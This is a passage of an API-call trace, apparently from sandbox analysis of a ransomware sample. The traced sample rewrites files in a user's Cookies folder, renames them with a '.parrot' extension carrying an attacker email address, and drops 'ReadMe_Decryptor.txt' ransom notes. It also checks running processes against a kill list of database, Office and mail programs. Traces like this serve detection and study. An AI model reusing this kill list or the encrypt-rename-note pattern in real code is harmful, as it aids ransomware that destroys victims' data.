HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.345] GetLastError () returned 0x0 [0057.345] SetLastError (dwErrCode=0x0) [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.345] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0057.346] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c70 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.346] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0057.346] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0057.348] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x178) returned 0x5fc6d0 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0057.348] WriteFile (in: hFile=0x2b0, lpBuffer=0x5fc6d0*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5fc6d0*, lpNumberOfBytesWritten=0x18f1c4*=0x178, lpOverlapped=0x0) returned 1 [0057.348] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.348] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0057.348] CloseHandle (hObject=0x2b0) returned 1 [0057.349] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0057.349] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0057.349] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0057.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0057.350] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.350] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0057.350] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0057.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0057.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0057.350] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0057.351] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0057.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.352] GetFileType (hFile=0x2b0) returned 0x1 [0057.352] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0057.364] lstrcmpW (lpString1="5p5nrgjn0js_halpmcxz@rlcdn[2].txt", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.364] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.394] GetFileSize (in: hFile=0x2b0, lpFileSizeHigh=0x18f240 | out: lpFileSizeHigh=0x18f240*=0x0) returned 0x19e [0057.394] LockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b6, nNumberOfBytesToLockHigh=0x0) returned 1 [0057.394] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0057.394] ReadFile (in: hFile=0x2b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0057.395] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.395] ReadFile (in: hFile=0x2b0, lpBuffer=0x3780040, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18f1c4*=0x19e, lpOverlapped=0x0) returned 1 [0057.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0057.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e2a48 [0057.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0057.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x3890060 [0057.395] GetLastError () returned 0x0 [0057.395] SetLastError (dwErrCode=0x0) [0057.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0057.396] GetLastError () returned 0x0 [0057.396] SetLastError (dwErrCode=0x0) [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.396] GetLastError () returned 0x0 [0057.396] SetLastError (dwErrCode=0x0) [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb570 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a0) returned 0x6087a0 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c28 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x330) returned 0x28d5988 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6087a0 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0057.396] GetLastError () returned 0x0 [0057.396] SetLastError (dwErrCode=0x0) [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c9a8 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e2a48 | out: hHeap=0x540000) returned 1 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3890060 | out: hHeap=0x540000) returned 1 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x38b0060 [0057.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x562228 [0057.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x38b0060 | out: hHeap=0x540000) returned 1 [0057.396] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c70 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb570 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x5fc6d0 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d30d0 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x5eb458 [0057.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0057.397] WriteFile (in: hFile=0x2b0, lpBuffer=0x5eb458*, nNumberOfBytesToWrite=0x2b8, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x5eb458*, lpNumberOfBytesWritten=0x18f1c4*=0x2b8, lpOverlapped=0x0) returned 1 [0057.398] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0057.398] UnlockFile (hFile=0x2b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0057.398] CloseHandle (hObject=0x2b0) returned 1 [0057.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x63ca90 [0057.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14e) returned 0x5fc6d0 [0057.399] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63ca90 | out: hHeap=0x540000) returned 1 [0057.399] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0057.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc6d0 | out: hHeap=0x540000) returned 1 [0057.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0057.400] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0057.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0057.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0057.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0057.400] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0057.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2b0 [0057.401] GetFileType (hFile=0x2b0) returned 0x1 [0057.401] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61c9a8 [0085.020] FindFirstFileExW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2) Thread: id = 24 os_tid = 0x9f4 [0031.275] GetCurrentThread () returned 0xfffffffe [0031.275] WaitForSingleObject (hHandle=0xfffffffe, dwMilliseconds=0x64) returned 0x102 [0031.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa0 [0031.407] Process32FirstW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.407] lstrcmpiW (lpString1="[System Process]", lpString2="SearchIndexer.exesqlservr.exe") returned -1 [0031.407] lstrcmpiW (lpString1="[System Process]", lpString2="msftesql.exe") returned -1 [0031.407] lstrcmpiW (lpString1="[System Process]", lpString2="sqlagent.exe") returned -1 [0031.407] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwriter.exe") returned -1 [0031.407] lstrcmpiW (lpString1="[System Process]", lpString2="oracle.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="ocssd.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="dbsnmp.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="synctime.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopqos.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpplussvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="isqlpussvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="xfssvccon.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mydesktopservice.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="ocautoupds.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="encsvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="firefoxconfig.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="tbirdconfig.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="ocomm.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-nt") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mysqld-opt") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="dbeng50.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="sqbcoreservice.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="excel.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="infopath.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="msaccess.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="mspub.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="onenote.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="outlook.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="powerpnt.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="stream.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="thebat.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="thebat64.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="Thunderbird.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="visio.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="winword.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="wordpad.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="sqlwb.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="sqlbrowser.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcagntsvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcencsvc.exe") returned -1 [0031.408] lstrcmpiW (lpString1="[System Process]", lpString2="agntsvcisqlplussvc.exe") returned -1 [0031.409] Process32NextW (in: hSnapshot=0xa0, lppe=0x1f8fcac | out: lppe=0x1f8fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="SearchIndexer.exesqlservr.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="msftesql.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="sqlagent.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="sqlwriter.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="oracle.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="ocssd.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="dbsnmp.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="synctime.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="mydesktopqos.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="agntsvc.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="isqlpplussvc.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="isqlpussvc.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="xfssvccon.exe") returned -1 [0031.409] lstrcmpiW (lpString1="System", lpString2="mydesktopservice.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="ocautoupds.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="encsvc.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="firefoxconfig.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="tbirdconfig.exe") returned -1 [0031.409] lstrcmpiW (lpString1="System", lpString2="ocomm.exe") returned 1 [0031.409] lstrcmpiW (lpString1="System", lpString2="mysqld.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="mysqld-nt") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="mysqld-opt") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="dbeng50.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="sqbcoreservice.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="excel.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="infopath.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="msaccess.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="mspub.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="onenote.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="outlook.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="powerpnt.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="stream.exe") returned 1 [0031.410] lstrcmpiW (lpString1="System", lpString2="thebat.exe") returned -1 